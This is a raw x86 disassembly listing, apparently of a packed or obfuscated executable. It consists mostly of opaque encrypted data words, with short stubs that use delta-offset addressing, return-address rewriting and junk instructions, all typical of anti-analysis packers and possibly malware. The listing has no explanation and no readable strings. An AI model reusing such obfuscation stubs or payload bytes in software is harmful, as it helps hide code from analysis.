7A3A7701h, 52305CC5h, 0E7D3C3BDh, 0CDD72F51h dd 8E12F33Fh, 86305CC4h, 1EC6C01Ch, 0D8A981FBh, 305CC3FCh dd 0C32359FCh, 0C71F61F7h, 4817618Bh, 0ED55A544h, 0A91BB861h dd 0C58430DDh, 16h, 1C9519Dh, 9D50000h, 374D91E3h, 0C4ACECA5h dd 3E64305Ch, 0B93FD0F2h, 0AAA3A35h, 521C1F9Ch, 4CE67006h dd 5C195555h, 61E5BF30h, 6345ADCFh, 0B4F3BB2Eh, 6DA9FB37h dd 9441AD4h, 27B4A7D8h, 2E29ABFh, 42911180h, 218378C8h dd 0E76FF993h, 0D3D12DAFh, 371B6667h, 0A9FB8021h, 34958055h dd 0FA875FDDh, 82A201BDh, 6C02900Fh, 4AAEA7DAh, 94007833h dd 57D5CD81h, 0D1677DC1h, 37D9F47h, 4A34C672h, 8B6909AFh dd 269955F4h, 5BEh, 802D4FECh, 0FB7A0014h, 28C5B759h, 9F16948Ch dd 0D15C183Dh, 5FF2DE5Bh, 0ED24901Dh, 0C56AC66Fh, 7C9E3ABBh dd 900A7302h, 6DABA1E1h, 6B597328h, 0ED6A04Ah, 9D2FB8BBh dd 0B59D35E4h, 0EA7FD37h, 43EE88A2h, 340834B7h, 6F98CF07h dd 0BF000005h, 0E751DC9Ch, 28842953h, 5FF97406h, 8C28C547h dd 0A621369h, 0CCA84D2Dh, 1E9EF721h, 6A122597h, 0B1C369CBh dd 524F5B3Ch, 286DAC52h, 4ADA88C2h, 9844D6A0h, 0F32F0B89h dd 0B7C569F5h, 0C3BD5F7Bh, 0C564A863h, 0E68FE903h, 30DC635Dh dd 0EE0CC884h, 4E09A48Ch, 59000000h, 0F3B3EE78h, 1D305CC4h dd 7BF6AB87h, 0F448CADAh, 34CE58EEh, 0ADDC7899h, 534642F4h dd 305CA953h, 9D0BE7BDh, 0B59F6DE4h, 875F4537h, 0C1BB5DF9h dd 0FA8B677Dh, 28739FDEh, 0B2580482h, 8A667CC0h, 0AA1AC766h dd 0C48C1A05h, 4Bh, 1A0B39Eh, 2FB589EBh, 0C4A4E49Dh, 366C305Ch dd 619B16A0h, 4F37B278h, 0F71BC355h, 3E99E885h, 3C287378h dd 0B2C06A1Eh, 7377BFFFh, 0BD535128h, 8E18862Fh, 73779313h dd 0CB277D28h, 0F0074BEFh, 982EB488h, 4801344h, 0B3B30000h dd 0ECA537A0h, 37B5A8F9h, 0F2B2EFB9h, 222873A7h, 0A612F280h dd 0BF1AEA94h, 2EC9F495h, 7F722FB9h, 372FCC8Ch, 0C654C06Dh dd 9A9568B4h, 0C2D37B0Dh, 40D6E242h, 4EDCE63Eh, 0E26A04E2h dd 0D0D2324Ch, 7D966918h, 861C27E3h, 0A03D49BEh, 0C255DBD3h dd 0CD586ABAh, 0D365ACD7h, 0A17EDEDEh, 846C3618h, 9945B158h dd 0AA380488h, 0B6C06A4Eh, 5EC9643Fh, 4E1AD5CCh, 0C8621FFAh dd 4D43433Eh, 0D7CD10B8h, 0B84CE2A2h, 0B8703210h, 5A76CED4h dd 185EF0B0h, 0B84D2969h, 2BB9EB10h, 4C564995h, 0BA6D57B1h dd 0A84C0AE8h, 88F43CD2h, 0C453DEE1h, 0B4847F32h, 0CC81810h dd 354F9715h, 0F99311FDh, 29D96C6Ch, 0CBC60E70h, 8CDF4CBh dd 61C95F45h, 5C1A309Ch, 6C1D5FF0h, 8CDF52Ch, 0D428BEE4h dd 952755F8h, 0F50686FBh, 34C608CDh, 90584A4Ah, 3EDF715Ch dd 9F16608Ah, 2CBE29C4h, 26E6A275h, 0F8921010h, 0E673336Eh dd 319D00E4h, 3815D1Fh, 5F69856Dh, 641A9FF7h, 753BA93Dh dd 1BBF7B09h, 8E0E83F1h, 7C00E5B6h, 0E5B68505h dd 79158F00h, 0B632722Fh, 0C0E200E5h, 730A9C32h, 0A9715A64h dd 0C23ABB8h, 3768846Ch, 0AA456811h, 0D23AB3Dh, 97218773h dd 9D55D7CFh, 3E7419ECh, 6A0B9908h, 1C3161FCh, 0BF44AE04h dd 11A4EFBAh, 0A58DF187h, 4599DB71h, 791E309h, 0BEEDF96Eh dd 63CFAE4Bh, 0BF28CB9Eh, 2415742Dh, 277D0055h, 5424C995h dd 13255D5Dh, 5FEDB7F1h, 0F935FD87h, 1325AC08h, 0ED650F1h dd 3B499517h, 32FE7E93h, 12F22FCEh, 6CC37A7Ch, 3Ch, 37A0B376h dd 0A9430BA5h, 636263CFh, 0C937B5ABh, 0A793E90Dh, 6C15E9BBh dd 2873AB50h, 0B0610834h, 8C19FA50h, 922879E5h, 826EFC7Eh dd 11B6Fh, 0CCC55F00h, 2873B6CCh, 30925E44h, 0FD1A04Ah dd 0B9AC02EDh, 80CC10A6h, 0D17D0F6Dh, 0E1E343C1h, 57AF2D65h dd 3F49E54Dh, 0C54D50A6h, 0C42C5F3Eh, 0E4383AD0h, 7B7343DAh dd 440888F9h, 9A08305Ch, 22551003h, 2E48E2D6h, 8DA5019Ch dd 62DDD0A8h, 0E37C0B96h, 87305C1Ah, 12920F75h, 2305C1Ch dd 0EE7812A0h, 5C1BF3B3h, 0AB871D30h, 732EB826h, 305C1C33h dd 0F107C7DDh, 0C52DB78Fh, 0AF393BD1h, 1C1C9C15h, 0AEF4305Ch dd 0D85B2E42h, 0F5C4BD4Fh, 0C737B4FAh, 0A880F81Fh, 0E7A7DAC4h dd 292872FAh, 0DE48E57Bh, 0A0D7AD47h, 0C632C1E0h, 0D9F082Bh dd 0C7D28594h, 0E5772D2Fh, 7E96D479h, 0CA58DACAh, 4EEC687Ah dd 0A5179E2Ch, 7B4DE490h, 1B3C35E1h, 1C494CBh, 41EA0000h dd 0FE12BE37h, 0B147F17Ch, 9A8A26CFh, 163B9518h, 0D851CF66h dd 8E2755F8h, 0FC71F322h, 30BDBF50h, 69047684h, 0A7E79A04h dd 69286DA7h, 0A74A6D53h, 9F2D4FE3h, 7E3E730Dh, 96305CC5h dd 7FD9240Ch, 0B012A3DDh, 0A537A0B3h, 0B5AAEDECh, 60F75F37h dd 72BEC418h, 2161108Eh, 0F32873AAh, 0C5C323B1h, 0BA327528h dd 0B27EEF94h, 7341F7D3h, 0B861ED28h, 1A63A91Bh, 0ABC58Ch dd 4A9D0000h, 2C4EE0A0h, 0AD38469Eh, 0E87FADBAh, 9A3EFA17h dd 48390577h, 305BF2EFh, 9E17618Bh, 39681832h, 7F0D6F8Dh dd 0B78F1DA7h, 56E077E2h, 0D8106A8Eh, 0D304D3CEh, 703237B4h dd 0A4267EE6h, 0E3EE4A58h, 0A03AAD48h, 0C6FD7BF1h, 0D973312Fh dd 85AAD87Dh, 3AD365FBh, 0F791708Ch, 0C8D51D54h, 6B3C96Ch dd 3C341408h, 0DBA31428h, 0C3000000h, 0BA54828h, 0BC1895E7h dd 0E34DE09Ah, 10BC31B3h, 66F67FFDh, 383CD1C1h, 8A0A1BB5h dd 0D6A649EBh, 1D5FFD5Fh, 0FEB3EF90h, 286DA6BEh, 4A462456h dd 0CE58D5A7h, 0A48C0E06h, 1598DA70h, 0D6A04AADh, 0CEA8420Eh dd 76E10C27h, 0B09DADE4h, 3B97384Fh, 99B6B15h, 3ECCA84Dh dd 1F9F12ACh, 0F1286DB1h, 74042BB3h, 82DE1AA8h, 0DB5A2436h dd 5DA1D379h, 0C253AA43h, 2EDF64E0h, 987003C2h, 658F658Bh dd 8CEA00C4h, 4B989515h, 0C9BA86CBh, 0FE9034AFh, 29790C96h dd 0C0E63CE0h, 0E153E270h, 59F294Bh, 4B2A0C8Ch, 502ACCCBh dd 568A663Ch, 54A82A7Ah, 7A7C1D23h, 0F43C3ED2h, 0A5482AC0h dd 8EA1E10Bh, 34CE58EEh, 4B2A3D7Dh, 9CDD7CBh, 354F97E5h dd 30EA1FDh, 50000000h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h dd 0D36753B3h, 685E55A9h, 5FAAh, 68241489h, 1010h, 68240C89h dd 6F12h, 53241C89h, 0EF1466BBh, 8BD98907h, 0C483241Ch dd 1C8B5404h, 4C48324h, 8B850h, 0D8010000h, 48B0889h, 4C48124h dd 8B000000h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 240C8B5Ch, 5E08950h, 4, 405h, 24048700h, 5BCCE95Ch dd 9B53FFFAh, 1FEC904Bh, 95D0D9A2h, 82F18DDBh, 0EF1F89B8h dd 0FFC50307h, 0C49C96E0h, 0C272490Ch, 7AA0D409h, 64FACF72h dd 9240065Ah, 0B4C64D44h, 0E256561Eh, 59C7BC60h, 0FBB5580Ah dd 0A8216012h, 70580122h, 8861A51h, 17E90Bh, 0DDC60000h dd 28ACh, 4 dup(0) dd 500E900h, 12A0000h, 0BE52FE77h, 718731BCh, 0DACA660Fh dd 0D67BD558h, 98910FA6h, 0CE671538h, 3CB13362h, 70FD7F90h dd 0A94436C4h, 0E7A7DAC4h, 29286DA4h, 0A04AAD13h, 0E81725D1h dd 2F66444Eh, 9BBF1FADh, 0C7F353E1h, 9AB4A32h, 14D91E3h dd 19B589EBh, 12BF87F5h, 87955FFEh, 54EE78F5h, 5CAF5D5Dh dd 5EDB730h, 77FE7E91h, 0FA4A32C5h, 0F945C7DEh, 0E2423ADDh dd 0E73F41D6h, 0A651F824h, 2F2C23F7h, 0A659EF1Ch, 2ACD07A6h dd 0DB71A352h, 61F789AFh, 0B65B039Dh, 31607EC6h, 305BD771h dd 0EB7301A3h, 0DBE93547h, 0D7536E1Fh, 0FB2B305Bh, 729A579h dd 621FA975h, 305BD722h, 0B5DBB0F2h, 0AD47E614h, 0CDF5CF0Ch dd 5D718431h, 51000000h, 44D6A04Ah, 3A0A8898h, 752C40A8h dd 305CC533h, 9C3DDC30h, 8430E024h, 142h, 0A64A6000h, 0A84C08D4h dd 4E4672D2h, 962456FAh, 0C6B45804h, 6011637Eh, 2D13FD24h dd 0B31F539Fh, 4B07DF99h, 8605D95Bh, 9A43BF5Eh, 0F91DD776h dd 0B446F283h, 0DDA530CAh, 0D52D48AEh, 52F0FD35h, 9D5A74Ah dd 0FD7A94Dh, 0A0E091EBh, 70305CC4h, 0BA8AF004h, 38049A28h dd 7A7C1D63h, 0E2423CD2h, 89AC08E0h, 44D642F3h, 0C543433Eh dd 0D7CD305Ch, 3FD1FD41h, 9577803Ah, 0DA3E291h, 0D4759931h dd 3195AD07h, 88C984h, 4A990000h, 7F09D5A7h, 933B45D7h dd 0A220FC7Ch, 0B2CC6256h, 0E19BBC18h, 77AB871Dh, 0EF17B65Ah dd 0C55C5C55h, 0D8B4305Ch, 7AB64436h, 37C1BB5Eh, 38F088AFh dd 0B0F61BB5h, 0F549DF9Dh, 0AFC963EBh, 31E54D57h, 378363E1h dd 0C9855923h, 1C895527h, 39A151F8h, 4DA77415h, 0A98430DAh dd 41h, 0D5A74A39h, 0D2AA4D09h, 0CAB44672h, 0C5475E7Ah dd 11B85C79h, 0F9A0B4E1h, 0D0642ACFh, 554C5AAAh, 305CC555h dd 0C157E5BFh, 0A64A962Ch, 3E9908D4h, 1D305CC5h, 3F8152FBh dd 0BF8430E0h, 1, 0DAA44A0Bh, 0D2AC4E0Ah, 52FB1D72h, 77FE8096h dd 14A6313Ch, 0B5ADA29Dh, 32129037h, 6B0A7486h, 8D5123C9h dd 0BA3A6BF3h, 0AE0D8F7Eh, 25CB2873h, 29CF8B5Bh, 0D3C38F57h dd 56F78D51h, 88D81BC2h, 55C09DD3h, 0C7C9BC52h, 0E374D026h dd 0D7655199h, 0A14B13A5h, 0BD750FD7h, 32768430h, 72D260E2h dd 7ACAB446h, 0ABE5FA1h, 580496E0h, 697BCB49h, 3AA23C81h dd 9E6610h, 73381191h, 13A10328h, 6D1CE427h, 87118C1Ah dd 73448A0Ah, 0BC188A28h, 871DE19Bh, 13B76ABh, 784C0000h dd 0FD413BDCh, 0DB560BE7h, 0C8C7BA4Ch, 4E37B599h, 22B03262h dd 57D5CC88h, 0DE1A62F7h, 5A243682h, 0A6D379DBh, 0B8E72632h dd 59E67DBEh, 375D25F3h, 873313A1h, 603B0B75h, 0A14B7D1Ch dd 36C05ED7h, 73263B7Bh, 63CFD528h, 1A7F60A0h, 0E509D58Ch dd 4E065B97h, 5C000000h, 9B2DBAB3h, 5CC4C6E6h, 88544EB0h dd 5CC49919h, 0D462B3B0h, 55A93FBDh, 5DA1D379h, 1BE7868Eh dd 18932A7Ch, 0D6BDFDF6h, 2EF686A9h, 0C62A0694h, 84031427h dd 0D3CE58F2h, 0B05C39D3h, 0FA8B673Dh, 305C39DAh, 70C5683Ah dd 95h, 37A0B392h, 93F1ECA5h, 0A23B37B5h, 7CF67621h, 0FEE24E15h dd 0DE7C58A4h, 1D730A9Ch, 0D24F849h, 5DFFC22Eh, 0C8C8B9BFh dd 482872F5h, 8978C45Ah, 2872F52Ch, 9054F51Fh, 585FC7Ah dd 0F62872F5h, 0CFF2E825h, 0DECBCB69h, 0D5B7D0E2h, 1BA93FA8h dd 0AA710C9Ah, 2258AFD4h, 0C0530EEAh, 0CCCC557h, 843065E9h dd 1CB8C61Eh, 26BC80FAh, 324CEECAh, 601A3C98h, 0F62A069Ch dd 0D3DE7F81h, 4C45D740h, 2876C88Ch, 0F486A804h, 0F75FCF66h dd 720C2E60h, 0B6821092h, 37A0B314h, 0A4ECECA5h, 0FEA4384Fh dd 0F680AA26h, 0D567EF7Fh, 0E1495BABh, 89552735h, 29AA7B18h dd 0A420FE57h, 0DF03EF6Dh, 16608A3Eh, 4032D884h, 2F66E6FCh dd 0E75351ADh, 0E29CBE1Ah, 0DC5EB602h, 40E9EF00h, 69047684h dd 4EEF60FDh, 113801A0h, 1D5FFDD9h, 3EEC1h, 54300000h dd 0D7A14AF6h, 0CFA9430Fh, 0C4B45B77h, 0C7455C78h, 0BEBE537Fh dd 0B5C76A66h, 0B7356D69h, 0B3CD636Fh, 0A9D36753h, 89505E55h dd 405E0h, 42D0000h, 87000000h, 895C2404h, 4F68241Ch, 8900000Dh dd 8951240Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 241C895Ch dd 942B850h, 542D4AECh, 559C501h, 2FC40410h, 1462BB53h dd 0D801E704h, 58C1895Bh, 2EDE68h, 24248900h, 4240481h dd 5B000000h, 4DBE5651h, 291F3A09h, 5E042474h, 8108438Fh dd 94D0843h, 1C8B1F3Ah db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_58B97E ; --------------------------------------------------------------------------- db 0E2h, 2Ah, 7Ch dd 0D4C11844h, 0C4B84407h, 307EF24h, 1E0FFC5h, 0D5201B79h dd 3B214449h, 405BA5A3h, 0EB236C4Ah, 24h, 8 dup(0) dd 0BDE900h, 0B5890000h, 7EF257Bh, 1B69858Bh, 858B07E9h dd 7E921F9h, 25C5B58Dh, 858D07EFh, 7EC7789h, 55C3D0FFh dd 0E8h, 0ED815D00h, 7EF25CBh, 1B69BD83h, 0F0107E9h, 2C85h dd 7BB5FF00h, 8B07EF25h, 0E921F985h, 27363507h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 0EF257FB5h, 0B5FF5607h, 7EF257Bh, 21F9858Bh, 363507E9h dd 0FF348127h, 0CC483D0h, 257FB58Dh, 468B07EFh, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 69BD8300h, 107E91Bh dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 0EF25A485h, 59858907h dd 0E807E91Bh, 10h, 0E15A6A33h, 0BCD6FC3Bh, 0F3A513D8h dd 0DF672B9Bh, 0D5B26059h, 0CDC18161h, 8B00005Eh, 177D68F8h dd 12E90000h, 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h dd 3899E579h, 810F5808h, 5, 0D38B6657h, 0BF31FF5Ah, 6AEBB8CAh dd 8175B35Eh, 906F9AEEh, 0E3816668h, 0F681824Eh, 5CF84483h dd 2860Fh, 0DA8B0000h, 987AC681h, 0D2BB5934h, 892FC996h dd 8B666031h, 7E9D1h, 66590000h, 0C41A24DAh, 0E98161D8h dd 67A76270h, 11E9h, 58471900h, 73082C05h, 56F2633Eh, 68DAD2CBh dd 0C1816D04h, 67A7626Ch, 8E8h, 0DD168500h, 0FE567FFDh dd 2C02BF16h, 835B568Fh, 850F01E8h, 0FFFFFF81h, 13840Fh dd 7E80000h, 0A2000000h, 0C8A5464Eh, 830F1B3Ch, 0 ; --------------------------------------------------------------------------- pop ebx lea ecx, [ebp+7EF2879h] movzx eax, cx mov [ebp+7E9320Dh], ecx mov esi, 0B1B077Eh mov dword ptr [ebp+7E922E5h], 669Ch push 0 push ebx call sub_5E6532 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E6532 proc near ; CODE XREF: sdfs____:005E652Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5E6532 endp ; --------------------------------------------------------------------------- xor bh, [edi] sbb al, 2Ch push ecx pusha jmp loc_5E6561 ; --------------------------------------------------------------------------- db 6Bh, 0C0h, 0B1h dd 8F8D6116h, 0A00D3B00h, 29C4F1D7h, 0D0F47D6h db 2Ch ; --------------------------------------------------------------------------- loc_5E6561: ; CODE XREF: sdfs____:005E6548j mov ecx, 58D675D0h popa pusha jnb loc_5E6574 add [ebp+7E91905h], ebx loc_5E6574: ; CODE XREF: sdfs____:005E6568j mov ecx, 22A0AD88h popa mov dword ptr [ebp+7E922B1h], 0 push 0 push edi call sub_5E658F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E658F proc near ; CODE XREF: sdfs____:005E6587p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5E658F endp ; --------------------------------------------------------------------------- db 9 dd 0DF60D6D8h, 0FD6403Ch, 28Ah, 0FFFE8B00h, 0E91735B5h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 30D574DCh, 4AD8DD13h, 0E9605E4Eh, 11h, 8C4B4752h dd 73EEE72Dh, 7214A144h, 77E76C02h, 6061F9D5h, 870Fh, 8B660000h dd 95FF61FAh, 7E92285h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 4FC35242h, 871EE066h, 9D29FA6Ch, 7E91BB1h dd 95FF006Ah, 7E90C31h, 0BEBC08Bh, 0C9709ACBh, 0D7E70C8Fh dd 0E809952Eh, 13h, 1C96AC0h, 19A06FA1h, 0FF0033h, 2D4754CBh dd 8BFA2900h, 0E934419Dh, 8D895907h, 7E907A1h, 74EEC181h dd 870F0000h, 6, 10818501h, 0D22B07E9h, 0C890Fh, 66600000h dd 196C9B9h, 0E9239985h, 348B6107h, 819BB411h, 0A5F113EEh dd 0D5858B19h, 8107E919h, 5234A6EEh, 0F5858B42h, 8107E901h dd 39204BF6h, 79858910h, 5607E907h, 1C81858Bh, 48F07E9h dd 8BD98B11h, 0E90F3185h, 4EA8307h, 2A219D89h, 0FA8107E9h dd 0FFFF8BCCh, 16850Fh, 95890000h, 7E93079h, 1DE9h, 0F2349C00h dd 0AA8CF211h, 0FD2CC835h, 64BC0EBFh, 0FF90E96Ah, 0A9C0FFFFh dd 702AFCBh, 2DE9DED2h, 72000000h, 459BA8h, 25500h, 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5E7361 ; --------------------------------------------------------------------------- push 7EF2AEAh jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF2BDEh jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF2DB2h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF2E9Ch jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF2F40h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF30F6h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF31C0h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF3314h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EF3417h jmp loc_5990C8 ; --------------------------------------------------------------------------- db 92h dd 8130AE7Ah, 0F75A4084h, 0E968769Eh, 0DD7C6AAEh, 29871FBFh dd 0E92D6B47h, 9E4640F1h, 8D55B100h, 0BD6DA415h, 71FA8E25h dd 0A92EADCBh, 4FAE0A8Fh, 36E8858h, 6FC6DC0Ch, 5FD4C4DAh dd 0A9289D92h, 2D139808h, 0ED99566Dh, 0AD2CBEEh, 42EAA1C5h dd 4799566Ch, 1D64864Eh, 12B0DA06h, 0A7C4F610h, 0C72F6B9Bh dd 0B313FFCCh, 2Ah, 801653D5h, 9EF69B10h, 2734A928h, 6A64D4C3h dd 75279956h, 6AE24EE5h, 55A69956h, 0F836D04Eh, 13FFD29Ch dd 0B0CCh, 584F8000h, 5036E88h, 0EC43D3C1h, 1D3482B8h dd 66CAC317h, 22A1407Bh, 87F20BDDh, 0E425229Dh, 61B819FDh dd 150C55B1h, 0B356DDC5h, 90A13FCBh, 8031A979h, 653D5989h dd 7A61A9E4h, 7C6C82C7h, 28D33EF7h, 0DFC714A9h, 0DDCFE166h dd 4287B456h, 23C8D8A1h, 916AD7FDh, 6B79BEBDh, 7268ACEAh dd 760301EEh, 6460FEB7h, 1CC0DE7Dh, 139C163h, 0A74E682Eh dd 0A14h, 25BD6DA5h, 4F577794h, 5D45918Ah, 6179A1FCh, 7412B2D0h dd 1A7854DEh, 336DECFAh, 425EF3EBh, 5AB1009Eh, 0E9BB108Eh dd 2EAEDE42h, 0BD1F9AA9h, 158D514Fh, 25BD6DA4h, 80165391h dd 79AADF10h, 0FB0F65E4h, 0A6CB60E0h, 0E4A9294Dh, 19012FC4h dd 0BAB99957h, 0B6D00017h, 692E4889h, 995718BFh, 0EE08CCCAh dd 27438783h, 47776F81h, 0ACEA1C26h, 13FF2448h, 0E230h dd 0DF7E5400h, 0E68D1FC3h, 0A13F853Ah, 57E6FDFEh, 2B769040h dd 0F0F525EDh, 0B2750841h, 0D879294Dh, 0F21A73C1h, 6AABA8h dd 0B653D8C3h, 0ADA13F9Fh, 9D3CAA76h, 4D305A86h, 79F2E6F8h dd 0A928A7C8h, 73D952E2h, 10995683h, 85D87E44h, 82D13BEBh dd 0E4E2F107h, 0F6EAFC49h, 4163887Dh, 1381D2A1h, 2AB054B2h dd 49255996h, 1CC0C269h, 34D83685h, 99C34Bh, 95305E2Eh dd 920h, 31A97991h, 5B438380h, 69719DF6h, 7D65ADE8h, 801EBEDCh dd 2664482Ah, 3F59F8E6h, 4E4A0F97h, 66BD1C8Ah, 0F5B72CBAh dd 2EAFD27Eh, 0A10396A9h, 0D745EE7Eh, 93A13F84h, 84B49813h dd 6774A13Fh, 43878326h, 7B9BF958h, 0EE52D969h, 0AAA13F84h dd 19B832A9h, 0EA6FDA02h, 0A4527ADDh, 7691BF34h, 0A49A140h dd 4F79DDC5h, 36E8858h, 6FC6DC0Ch, 0F4C2C8DAh, 0D234DC38h dd 0DD4AA0EDh, 8F1F8DF2h, 0EC0ED2CEh, 23478785h, 7FE4FF3Ch dd 0A9291206h, 0A28D1F5Ch, 0CF64EBADh, 9956CF61h, 999DA19h dd 0EC2AB14Dh, 9A118E85h, 995772B6h, 3BC78F55h, 315B81E3h dd 6EEFFD22h, 7EF4EF33h, 0F214C4DBh, 9D09B485h, 0F61E7720h dd 6DCFCD94h, 4BAFEC30h, 0AB6383BDh, 0B747D7CBh, 10C4103Ch dd 28BC812h, 1210C41Eh, 0EC0299DAh, 0BF6BA2FAh, 0AF6FAC2Dh dd 59D044Bh, 1F8D5DB4h, 5BBF63BEh, 0C003DB14h, 95B12DB7h dd 9A83080Eh, 67121094h, 4F8F8C4Dh, 0D04CBA54h, 0C5110BB9h dd 64BB1E84h, 0F02552B4h, 28121094h, 0DD6DD036h, 1094EA56h dd 60ADAE12h, 0D45F93EDh, 0E05F4A39h, 0E16179A9h, 819F2560h dd 36851C5Dh, 96D733DFh, 0A64D5F51h, 19FA3A9Bh, 69C4C211h dd 5DD6CADCh, 12111C54h, 0B9E90D4Eh, 0E59E8229h, 195A023Eh dd 0E6301982h, 0ABF9023Eh, 1EEE9244h, 5843E6D9h, 0A2F240A6h dd 0D6AB17ABh, 48Eh, 0DEFE1BBAh, 0B76571C3h, 10A13F84h dd 0A13F9528h, 3F78898Bh, 71321AA1h, 0C786A13Fh, 0FCE307CBh dd 0EBFD4AE5h, 5EC269F9h, 1AA13F70h, 7B9FFAD9h, 3BC9D01Fh dd 288B89B0h, 3AFC33A9h, 4932B696h, 8AC93FAAh, 3C1167F9h dd 3DD8E626h, 74Ch, 6D75A5FDh, 776FAFECh, 851DC9C2h, 0A931D934h dd 0BC2AEA28h, 52B01C06h, 6BA514B2h, 7A963BA3h, 92894856h dd 21E35846h, 2EB1A68Ah, 0F55762A9h, 1888584Fh, 853DE388h dd 0FEFDA13Fh, 0B7620BB5h, 4E5553EDh, 7E70F5C8h, 0A0ACC16Ah dd 8DCEA92Fh, 0D8349515h, 0DED8A930h, 0C1A98616h, 0E9295E9h dd 0F299870Ch, 82299950h, 9950F29Eh, 0E0F3195Ah, 0EF0146F9h dd 191F76FDh, 2635A13Ah, 91C4348h, 922240C9h, 0EA0CDC33h dd 9040ECE5h, 54B1E206h, 801B58B0h, 0B30A982Dh, 7E1A01A8h dd 851587C4h, 8702CAC4h, 0F03C9F12h, 862D7DE9h, 0DA1E099Ah dd 0CCDC1D5Eh, 0B1CFFD63h, 148F58CFh, 504683E2h, 195EF40h dd 0AC077221h, 0C83CB735h, 10E20726h, 1970D1C3h, 42A474ABh dd 73C6DC1Dh, 0B733CC1Ch, 3AEEDF14h, 662711Ch, 0BBD30000h dd 0C5C2776Fh, 0DF389901h, 0EF2AAF37h, 1EB32Bh, 668C6DCh dd 32A86CAAh, 4159859Fh, 564C94F0h, 667CACE3h, 8CB03BC9h dd 4CA92EB2h, 1653EF49h, 0EA9B1080h, 38A92893h, 6CC3DF3Bh dd 0A42BEF99h, 963E58CEh, 948B4A51h, 69B5444h, 7E1A88BEh dd 31DF27A2h, 0C59D70Fh, 0F46D069Ah, 36A13EB2h, 35517D97h dd 6E6D930Eh, 14C4DB7Ah, 0BE6EF58Dh, 0E1916C94h, 916C953Bh dd 198B1DAAh, 5BBDFF92h, 0BCDE1D99h, 0E12965E4h, 6BCE71FAh dd 38E3897Dh, 4F897D6Ch, 75F78858h, 0F43617D1h, 5BE43EAh dd 170F0000h, 217ED3CBh, 3B54E5FDh, 4B460B93h, 5CBA1F87h dd 0AAB422B8h, 9E04C8C6h, 0AD35E13Bh, 0B228F02Ch, 0C2D8081Fh dd 301C9715h, 0E8A92EB4h, 165303ADh, 6D68D38Ch, 8FCC4D72h dd 0DB61BC1Dh, 0F2F115C1h, 1D96168Dh, 0A92F9A80h, 0B12A63E2h dd 5148163Ah, 4081D299h, 46A0B359h, 0EEF4247Bh, 9EF8F677h dd 960CDC33h, 0B25AB312h, 4A486B68h, 7863608Ah, 0F416C2D9h dd 0CAC876ADh, 0AA6AA70Ah, 0B8C20340h, 118B7BAFh, 1FB02EFAh dd 1404F4F7h, 1AB63h, 16532500h, 84F458D3h, 0A3FDA13Fh dd 0B8D01F7Bh, 0D6667ABBh, 847FAD46h, 383BA13Fh, 0A23538A1h dd 0A4B7A928h, 35BE4E42h, 99566807h, 0F511B0C3h, 0FD2DB62Dh dd 86995667h, 91D66284h, 5BE68D1Fh, 0D1A13F85h, 5EB50482h dd 2444EBEh, 0B5FA112Ah, 0C9197051h, 0F1E77CD1h, 0E8548E3h dd 0F4079956h, 0DE33E592h, 0CAF48983h, 5B769E1Ch, 2A0523D2h dd 0F689A33Bh, 45074893h, 0B8CAD1BEh, 31584D54h, 48000000h dd 24469289h, 5310A43Fh, 80108016h, 84D57BF0h, 4695A13Fh dd 9EABD65Bh, 92E1A928h, 6A190388h, 0D0D29956h, 0D39CF836h dd 0CECC13FFh, 80000000h, 6E88584Fh, 0D3C10503h, 4561CB1Ch dd 4B110785h, 4A9ED327h, 260AA1B2h, 0E2A13FD8h, 0CD495091h dd 197DADE4h, 29B161B8h, 3FDC6782h, 15C5DCA1h, 6CAC687h dd 6EE4FFE4h, 6C7C72F7h, 0D2E957DCh, 52A1A13Fh, 4532B937h dd 93A92BA8h, 1C05040h, 3F49CC04h, 67BC27DBh, 40888326h dd 789CFA59h, 6DB1EF62h, 3E64C290h, 0E68FA926h, 408h, 29B161B9h dd 33AB6BA8h, 4159859Eh, 554D95F0h, 7866A6E4h, 0E0C60C2h dd 2761D0CEh, 3652E7FFh, 4E45F492h, 0DDAF0482h, 2EB4EA56h dd 49EBAEA9h, 158D514Fh, 6FEE6DA4h, 38E4ED31h, 0F0A13F85h dd 0EB6F5FEFh, 0BCFD246Dh, 53E3677Fh, 404874D8h, 0FF7434A1h dd 0A1404851h, 1E85CA09h, 88584FBAh, 9A2326Eh, 0A13F8523h dd 0D8F298E7h, 0D7A915A6h, 0DD93396h, 40FFEAE9h, 74A4FB49h dd 0D41BAF37h, 45B87F0Ch, 54E0FB6Ah, 4004B365h, 52C1CA1h dd 24A1A13Fh, 0CF8E1EB2h, 0E930ED6h, 0A92E2E73h, 0A7644689h dd 2EB8A8h, 0C81ED1C3h, 0AAA87C72h, 6045B128h, 54DFCDE3h dd 0A138D029h, 0B16F1063h, 0A02E0D70h, 33EFF86h, 978F0000h dd 0A1FE534Bh, 0BBD4657Dh, 0CBC68B13h, 0DC3A9F07h, 